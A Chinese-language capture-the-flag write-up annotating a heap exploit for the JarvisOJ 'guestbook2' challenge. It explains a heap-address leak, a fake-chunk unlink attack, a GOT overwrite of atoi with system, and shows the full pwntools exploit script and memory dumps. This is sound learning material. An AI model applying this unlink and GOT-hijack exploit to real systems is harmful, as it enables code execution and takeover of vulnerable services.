JarvisOJ guestbooks2
在網上看到大佬的writeup,一開始懵逼了很久,有很多引數不知道是什麼意思,大佬也懶得註釋。經過摸爬滾打的除錯,我在這給大佬的writeup寫寫註釋,既便於自己以後回顧的時候能馬上撿起來,也能幫助一些像我這樣的菜雞學習知識。
該exp的思路是:
1、free chunk3 和chunk1(注意順序),使得chunk1的fd指向chunk3
2、利用edit中的realloc寫入能覆蓋chunk1頭部的字元(即在chunk0長度的基礎上再寫0x10個位元組),這樣list後就能看到fd的值,從而leak出chunk3的地址。進而通過結構體的相對位置,得出heap_base和chunk0的地址。
3、構造fake chunk1 ,通過unlink,使得chunk0的指標指向chunk0-0x18的地方(這裡我感覺更好的方法是寫在新建的堆上,因為剛好每個chunk大小為0x18,),這樣就能實現通過寫chunk0而修改chunk0-0x18的值。
4、利用edit往chunk_list中寫入資料,使得chunk1的堆指標指向atoi的got地址,從而leak出該地址,進而計算libc基地址。通過libc基地址,算出system的地址。
5、最後自然是往atoi的got地址(對應chunk1的堆地址)裡寫system啦。然後就輸入/bin/sh,讓system執行該引數。
下面是我除錯時看到的資訊:
可以發現連個堆之間地址相差0x90位元組大小,因此洩露出的chunk3的地址距離有0x1820+0x90*3=0x19d0
可以看到該chunk_list的結構是:
presize | size
sum | number
chunk0_in_use | len_of_chunk0
ptr_of_chunk0 | chunk1_in_use
len_of_chunk1 | ptr_of_chunk1
因此ptr_of_chunk0距離heap_base應該是0x30個位元組
另外,chunk0-0x18是在0x603018處,此處記錄的是堆的個數。在unlink後edit(0),就是從這個地方開始寫入資料的。
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
context.arch = "amd64"
local = 0
if local:
cn = process('./guestbook2')
bin = ELF('./guestbook2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('pwn.jarvisoj.com', 9879)
bin = ELF('./guestbook2')
libc = ELF('./libc.so')
def list_post():
pass
def add_post(length,content):
cn.sendline('2')
cn.recvuntil('Length')
cn.sendline(str(length))
cn.recvuntil('Enter')
cn.sendline(content)
def edit_post(idx,length,content):
cn.sendline('3')
cn.recvuntil('number')
cn.sendline(str(idx))
cn.recvuntil('Length')
cn.sendline(str(length))
cn.recvuntil('Enter')
cn.sendline(content)
def del_post(idx):
cn.sendline('4')
cn.recvuntil('number')
cn.sendline(str(idx))
chunk_list=0x00000000006020A8
test=0x00000000004012E6
#-------init-------
for i in range(5):
add_post(0x80,str(i)*0x80)
del_post(3)
del_post(1)
pay = '0'*0x80 + 'a'*0x10
edit_post(0,0x90,pay)
#------------------
#--------leak----------
cn.sendline('1')
cn.recvuntil('a'*0x10)
leak_data = cn.recvuntil('\x0a')[:-1]
cn.recv()
leak_addr = u64(leak_data + '\x00'*(8-len(leak_data)))
heap_base = leak_addr - 0x19d0#offset
chunk0_addr = heap_base+0x30
success("leak_addr: "+hex(leak_addr))
success("heap_base: "+hex(heap_base))
success("chunk0_addr: "+hex(chunk0_addr))
#----------------------
#-------unlink--------
pay = p64(0x90) + p64(0x80) + p64(chunk0_addr-0x18) + p64(chunk0_addr-0x10) + '0'*(0x80-8*4)
pay += p64(0x80) + p64(0x90+0x90) + '1'*0x70
success(hex(len(pay)))
edit_post(0,len(pay),pay)
del_post(1)
#----------------------
#--------leak----------
pay = p64(2) + p64(1) + p64(0x100) + p64(chunk0_addr-0x18)
pay += p64(1)+p64(0x8)+p64(bin.got['atoi'])
pay += '\x00'*(0x100-len(pay))
edit_post(0,len(pay),pay)
cn.sendline('1')
cn.recvuntil('0. ')
cn.recvuntil('1. ')
atoi = cn.recvuntil('\x0a')[:-1]
cn.recv()
atoi = u64(atoi + '\x00'*(8-len(atoi)))
system = atoi - libc.symbols['atoi']+libc.symbols['system']
success("atoi: "+hex(atoi))
success("system: "+hex(system))
#----------------------
#--------hijack&getshell--------
edit_post(1,8,p64(system))
cn.sendline("$0")
#----------------------
cn.interactive()
'''
chunk_list:
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000001
0x603020: 0x0000000000000001 0x000000000000000a
0x603030: 0x0000000000604830 0x0000000000000000 <- ptr here
0x603040: 0x0000000000000000 0x0000000000000000
'''